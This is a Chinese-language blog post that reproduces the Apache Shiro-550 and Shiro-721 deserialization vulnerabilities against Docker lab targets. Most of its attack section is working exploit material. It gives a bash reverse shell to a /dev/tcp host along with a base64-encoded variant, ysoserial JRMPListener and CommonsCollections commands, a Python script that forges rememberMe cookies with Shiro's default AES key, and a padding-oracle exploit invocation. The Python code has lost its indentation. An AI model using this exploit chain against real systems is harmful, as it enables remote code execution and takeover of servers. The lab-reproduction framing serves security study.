Shiro反序列化漏洞复现

Shiro简介

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。


漏洞原理

Shiro-550漏洞原理:

影响版本:Apache Shiro < 1.2.4

Shiro框架提供了记住密码的功能,用户登录成功会生成加密编码的cookie,在服务端对rememberMe的cookie,先进行了base64解码,然后AES解码后再反序列化

所以说,如果我们要构造payload,首先需要对我们执行的指令进行序列化,让服务端进行反序列化执行我们的指令

序列化构造poc过程:

指令->序列化->AES加密->base64编码->rememberMe cookie

首先利用条件就是我们需要知道AES的iv密钥,所以我们可以使用默认的或者是暴力破解来尝试


Shiro-721漏洞原理:

影响版本:Apache Shiro < 1.4.2版本

Apache Shiro cookie中通过AES-123-CBC模式加密rememberMe cookie字段存在问题,用户可以通过Padding Oracle加密生成的攻击代码构造恶意的rememberMe字段,并且重新请求网站,导致反序列化执行我们的指令,造成了远程代码执行。


共同之处:

都是由于加密算法存在漏洞,并且使用默认或简单密钥


靶场搭建

docker搭建

apt-get install docker
apt-get install docker-compose
reboot
service docker start

Shiro-550靶场

获取docker镜像
docker pull medicean/vulapps:s_shiro_1
启动docker镜像:
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

Shiro-721靶场

下载Shiro-721复现靶场
git clone https://github.com/3ndz/Shiro-721.git
进入shiro/docker
cd Shiro-721/Docker
启动docker镜像
docker build -t shiro-721 . //不要忽略721后面的那个点,意为当前路径
docker run -p 8080:8080 -d shiro-721

攻击机使用工具及环境配置:

Burpsuite

java:

sudo apt-get install default-jdk

maven:

sudo apt-get install maven

ysoserial并打包

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests

生成的工具在ysoserial/target文件


漏洞复现

Shiro-550漏洞复现

我们首先访问下登录界面,可以看到账户密码都给我们了


通过burpsuite进行抓包,我们来看下shiro rememberme后的数据包


这是认证成功后的跳转,我们可以看到rememberme设置的一串类似aes的密文


通过爆破shiro密钥的软件进行密钥探测(研究漏洞利用原理,所以就不用软件自带的)


爆破的原理也就是序列化过程,拿密钥aes加密再base64一系列的加密过程去测试


攻击机监听本地端口

nc -lvp 1234

vps上执行

构造payload

bash -i >& /dev/tcp/攻击机ip/监听端口 0>&1
bash -i >& /dev/tcp/192.168.1.116/1234 0>&1

由于传入字符串可能会无法执行我们使用


Runtime.getRuntime().exec()会执行上面payload会失败

例如,ls > dir_listing 在shell中执行为将当前目录的列表输出到命名为 dir_listing 。但是在 exec() 函数的中,该命令为解释为获取 >dir_listing 目录的列表

http://www.jackson-t.ca/runtime-exec-payloads.html

生成出通过bash-c执行命令,并且通过base64来解决

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTE2LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

最后使用ysoserial的JRMP监听模块,监听6666端口并执行反弹shell命令

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 【port】 CommonsCollections4 '【commands】'
构造后
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTE2LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}'

使用我们的shiro进行编码来构造payload

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

python生成我们的最终payload

python2安装pip
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
sudo python2 get-pip.py
pip install --upgrade setuptools
sudo apt-get install build-essential python-dev libssl-dev libffi-dev libxml2 libxml2-dev libxslt1-dev zlib1g-dev
sudo pip2 install pycrypto

生成payload,记得是要在ysoserial目录下
python2 shiro.py ip:JRMP监听端口
python2 shiro.py 192.168.1.116:6666

将获取到payload填入登录的cookie中


成功获取到shell


Shiro-721漏洞复现


使用dnslog进行

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping k95ut8.dnslog.cn" > payload.class

使用rememberme作为前缀来加载payload,进行Padding Oracle攻击

使用靶场自带的exp


python2 setup.py build
python2 setup.py install
python2 shiro_payload.py http://192.168.1.115:8080/account/ lq91JAxRWju1xv4/XcHeWqh/TukrkTuxn2LD1CrBZ/JSs9oOZSZo8cYlevwOZt54yTw4vHMh6yyB9xS7BoJ49IPwET60IuQFgBZwCUwAu/uTjlAoRG4rNh9YiYL/8bIIyDgOACT3+t/Yk+L6Hn/up3u9xMZ9pWRjVK7DQ3ZccfqgOms08TDrFrdwFnDOnUt2erQ4vb6CCHGf0QslhbrnDF0VcblDigreQ9vyzGfPkCW3gDeDf+iwddvrFwlvd7d+9BKmhM+QuM8nq0RCg96XJNCD6PmmRMom0o8bUHTCg0OSKJnGBRPeuult6aoZtttGdZ0MDyYZooZp4LP7ojtS1ZVLYavpAv6RQ93BeO5ZOx0nIkTqJ7CTxG8CB8XzvvxvK6oGOURA2UE3IIzoukbglzKAVWOdMD0BmjBOH1xQfAHXXFpHH2VkgiSPPMeZMe1+yVhSgumjhRN5c97bY9d+49hkoleEBAOtS1pIKIxdAuwHRP0WgNZPqFFLmtG/s/Os payload.class

爆破需要3个小时,所以就不演示,最后就将获取到的cookie替换即可,最后查看dnslog平台

上一篇

Logger++插件使用与技巧